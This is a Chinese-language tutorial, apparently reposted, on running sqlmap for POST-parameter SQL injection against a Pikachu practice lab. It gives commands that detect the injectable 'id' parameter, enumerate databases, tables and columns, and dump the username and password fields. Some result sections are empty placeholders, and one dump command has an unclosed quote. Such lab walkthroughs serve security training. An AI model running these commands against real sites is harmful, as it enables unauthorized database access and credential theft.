原文链接：Sqlmap中POST注入的两种方式

一、检测是否存在注入
1、通过BurpSuite抓包获取提交的数据

2、指定提交的数据

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2"

--data指定提交的数据

运行结果：id值存在注入，可能是布尔盲注、报错注入、时间盲注、联合注入

[14:37:09] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (POST)

二、获取数据库名称

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" --dbs

运行结果：

复制代码

三、获取表名

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

运行结果：

14:44:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 5.4.45, Nginx 1.15.11
back-end DBMS: MySQL >= 5.6

复制代码

四、获取字段名

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

运行结果：

[14:51:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 5.4.45, Nginx 1.15.11

五、获取字段内容

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --dump "username,password

运行结果：

六、其他检测POST注入方法

1、BurpSuite抓包，将数据包内容保存到1.txt

POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.139.129
Content-Length: 30
Cache-Control: max-age=0

复制代码

2、获取数据库名称

复制代码

3、获取表名

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu --tables

4、获取字段名

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu -T users --columns

5、获取字段内容

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu -T users --dump "username,password"
